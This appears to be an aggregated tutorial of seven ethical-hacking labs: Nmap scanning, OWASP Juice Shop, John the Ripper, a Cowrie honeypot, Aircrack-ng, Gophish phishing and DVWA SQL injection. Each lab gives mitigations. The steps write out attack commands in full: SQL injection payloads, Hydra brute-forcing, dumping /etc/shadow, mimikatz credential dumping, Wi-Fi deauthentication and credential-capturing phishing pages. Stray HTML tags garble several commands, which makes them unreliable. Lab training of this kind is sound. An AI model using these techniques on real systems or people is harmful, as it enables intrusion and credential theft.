Listen to this Post
Introduction:
Ethical hacking requires practical, hands-on experience to understand real-world vulnerabilities and defense mechanisms. This article presents seven free, project-based labs covering essential skills: network reconnaissance with Nmap, web application penetration testing using OWASP Juice Shop, password hash cracking with John the Ripper, honeypot deployment via Cowrie, Wi-Fi auditing with Aircrack-ng, phishing attack simulation, and SQL injection exploitation. Each project includes step-by-step guides, verified Linux/Windows commands, and mitigation techniques to build a robust cybersecurity skillset.
Learning Objectives:
- Perform network scanning and enumeration to identify open ports, services, and OS fingerprints.
- Exploit and secure vulnerable web applications using SQL injection, XSS, and authentication bypass techniques.
- Deploy a honeypot to capture attacker behavior and analyze intrusion patterns in real time.
You Should Know:
- Scanning and Enumerating a Local Network with Nmap
Nmap (Network Mapper) is the industry standard for network discovery. This project teaches you to map live hosts, open ports, running services, and OS versions.
Step‑by‑step guide:
- Linux (pre‑installed on Kali/Parrot):
`sudo nmap -sn 192.168.1.0/24` (ping sweep to discover live hosts)
`sudo nmap -sS -sV -O -p- 192.168.1.100` (stealth SYN scan, version detection, OS fingerprinting, all ports)
`sudo nmap –script vuln 192.168.1.100` (run vulnerability scripts)
- Windows: Install Nmap from https://nmap.org/download.html, then use PowerShell:
`nmap -sn 192.168.1.0/24` (use `-Pn` if ping is blocked) - Save output: `nmap -sV -oA scan_results 192.168.1.100` (creates .nmap, .xml, .gnmap files)
- What this does: Identifies attack surfaces, misconfigured services, and outdated software. Use `nmap -sU -p 161` for SNMP enumeration.
Mitigation: Block ICMP echo requests, deploy host‑based firewalls, and use port knocking for sensitive services.
- Penetration Testing a Vulnerable Web App with OWASP Juice Shop
Juice Shop is an intentionally insecure web application for testing OWASP Top 10 vulnerabilities.
Step‑by‑step guide:
- Deploy locally (Docker):
`docker pull bkimminich/juice-shop`
`docker run -d -p 3000:3000 bkimminich/juice-shop`
Access http://localhost:3000`admin’ OR 1=1–`
- Exploit SQL injection (Login):
<h2 style="color: yellow;">Email:
Password: anything
- XSS attack: Inject `` into the search field.
- Broken authentication: Use `Burp Suite` to capture and replay a user’s JWT token after changing the `email` claim.
- Linux command to brute‑force login with Hydra:
`hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost -s 3000 http-post-form “/rest/user/login:email=^USER^&password=^PASS^:Invalid email or password”`
– Windows (WSL or Git Bash): Same commands with `hydra.exe` from Cygwin.
Mitigation: Use parameterized queries, CSP headers, rate‑limiting, and HTTP‑only cookies.
3. Cracking Password Hashes with John the Ripper
John the Ripper (JtR) cracks password hashes using dictionary, brute‑force, and rainbow table attacks.
Step‑by‑step guide:
- Extract hashes (Linux shadow file):
`sudo unshadow /etc/passwd /etc/shadow > hashes.txt`
- Crack with default wordlist:
`john –format=sha512crypt hashes.txt`
- Use a custom wordlist (RockYou):
`john –wordlist=/usr/share/wordlists/rockyou.txt –format=md5crypt hash.txt`
- Show cracked passwords:
`john –show hashes.txt`
- Windows: Download John the Ripper from openwall.com, then:
`john.exe –format=NT hash.txt` (for Windows NTLM hashes extracted via `pwdump7` or `mimikatz`sekurlsa::logonpasswords) - Crack a ZIP file password:
`zip2john protected.zip > zip.hash`
`john zip.hash`
- What this does: Demonstrates why weak passwords (e.g., 123456, password) are dangerous. Use `–rules` to apply mangling rules (e.g., Password→Password123).
Mitigation: Enforce long, complex passwords, use salted hashing (bcrypt, Argon2), and implement account lockout after failed attempts.
4. Deploying and Monitoring a Honeypot with Cowrie
Cowrie is a medium‑interaction SSH/Telnet honeypot that logs brute‑force attacks and shell interactions.
Step‑by‑step guide:
- Installation (Ubuntu/Debian):
`sudo apt update && sudo apt install git python3-virtualenv`
`git clone https://github.com/cowrie/cowrie``cd cowrie
</h2>virtualenv cowrie-env
<h2 style="color: yellow;"></h2>source cowrie-env/bin/activate
<h2 style="color: yellow;"></h2>pip install -r requirements.txt`
<h2 style="color: yellow;"> - Configuration: Edit
cowrie.cfg:
[bash]`listen_endpoint = tcp:2222` (change to 22 if not running SSH)
[bash]contents_path = /home/user/cowrie/var/lib/cowrie/docker/fs(fake filesystem) - Run Cowrie:
bin/cowrie start - Monitor logs:
tail -f var/log/cowrie/cowrie.logtail -f var/log/cowrie/auth.log(captures attempted credentials) - Windows alternative: Use Docker Desktop with Cowrie container:
docker run -p 2222:2222 cowrie/cowrie - What this does: Records attacker IPs, usernames/passwords (e.g., root:1234), commands executed, and downloaded malware. Analyze with ELK stack.
Mitigation: Block repeat offenders via fail2ban, use SSH keys only, and change default ports.
- Auditing and Attacking a Wi‑Fi Network with Aircrack‑ng
Aircrack‑ng suite captures 802.11 frames, cracks WEP/WPA/WPA2 passwords, and performs deauthentication attacks.
Step‑by‑step guide (Linux only, requires monitor‑mode adapter):
- Find wireless interface: `iwconfig`
– Enable monitor mode:
`sudo airmon-ng start wlan0` (creates `wlan0mon`)
- Capture packets:
`sudo airodump-ng wlan0mon` (list nearby networks, note BSSID and CH) - Target specific AP:
`sudo airodump-ng -c 6 –bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon`
– Deauth attack (to force handshake capture):
`sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon`
- Crack WPA handshake (using aircrack‑ng):
`sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap`
- Windows is not natively supported; use a Linux VM or WSL2 with USB passthrough (limited). Alternatively, use Acrylic Wi-Fi Professional for monitoring.
- What this does: Reveals weak pre‑shared keys (PSK). WPA2 can be cracked if password is in dictionary; WPA3 provides better protection (SAE).
Mitigation: Use WPA3, long random PSK (>15 chars), disable WPS, enable 802.1X (enterprise), and monitor for rogue deauth frames.
6. Creating and Defending Against Phishing Attacks
Phishing remains the top initial attack vector. This project uses Gophish (open‑source) to simulate a campaign.
Step‑by‑step guide:
- Install Gophish (Linux):
`wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip``unzip gophish-.zip && cd gophish
</h2>sudo ./gophish` (listens on 127.0.0.1:3333)
<h2 style="color: yellow;"> - Configure login at `https://127.0.0.1:3333` (default admin:gophish)
– Create a campaign:
– Sending profile (SMTP server, e.g., Gmail with app password)
– Email template (HTML, spoofed logo, urgency: “Your password expires today”)
– Landing page (clone a real login page using “Import Site”)
– Users (target list: employees’ emails)
– Launch and monitor: open rates, click rates, credential capture.
– Windows: Same steps using Gophish.exe.
– Linux command to test DMARC/SPF:`dig txt _dmarc.example.com`
`swaks –to [email protected] –from [email protected] –server smtp.example.com`
- Defense commands (set up email filters):
`sudo apt install spf-tools`
`opendmarc` and `opendkim` for signing.
Mitigation: Implement MFA, conduct security awareness training, use email gateways with URL rewriting, and enforce DMARC = reject.
- Exploiting and Securing a Database Using SQL Injection
SQL injection (SQLi) can bypass authentication, extract data, or compromise the server.
Step‑by‑step guide:
- Lab setup (Linux):
`docker run -d –name sql-lab -p 8080:80 vulnerables/web-dvwa`
Access http://localhost:8080`, login admin:password, set DVWA Security to "low".1′ UNION SELECT user, password FROM users– `
- SQLi in user ID field:
Input: `1' UNION SELECT null, database()-- ` (displays database name)
`1' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema='dvwa'-- ` (enumeration)
- Extract credentials:
<h2 style="color: yellow;">
– Automated tool (sqlmap):
`sqlmap -u “http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=abc123″ –dbs –dump`
– Windows: Same commands using Python sqlmap or Docker Desktop.
– Blind SQLi (time‑based):
`1′ AND IF(1=1, SLEEP(5), 0)– ` (delayed response confirms injection point)
Mitigation: Use parameterized queries (prepared statements), e.g., in PHP: `$stmt = $conn->prepare(“SELECT FROM users WHERE id = ?”);`
Apply least privilege database accounts, use WAF rules, and regularly scan with `sqlmap` to detect flaws.
What Undercode Say:
- Hands‑on projects bridge the gap between theory and real‑world attack vectors – these seven labs cover the entire kill chain from reconnaissance to exploitation and defense.
- Free tools like Nmap, John, and Cowrie are industry standards – mastering them directly translates to OSCP, CEH, and CISSP practical exam success.
The curated list provides a complete self‑study path. However, users must set up isolated lab environments (VirtualBox, VMware, or cloud sandboxes) to avoid legal issues. The absence of AI‑specific projects is a gap – consider adding adversarial machine learning or LLM prompt injection labs. For Windows users, many tools require WSL2 or Docker, so a Linux VM remains the gold standard. The SQL injection lab could be extended with NoSQL injection (MongoDB) and second‑order injection. Defenders should replicate these attacks against their own infrastructure to validate security controls. Overall, this is a solid foundation for any aspiring penetration tester.
Prediction:
As AI‑powered code generation (e.g., GitHub Copilot) increases the speed of software development, SQL injection and XSS may decline due to automated secure coding suggestions. However, business logic flaws and LLM prompt injection will rise. Hands‑on projects will evolve to include AI red‑teaming, where attackers manipulate model outputs using adversarial inputs. Organizations that integrate these seven core projects into continuous training will maintain resilience, but those ignoring practical labs will suffer from the same exploits for the next decade – because human error and misconfiguration, not tool deficiency, remain the root cause.
▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Gmfaruk %F0%9D%90%85%F0%9D%90%AB%F0%9D%90%9E%F0%9D%90%9E – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
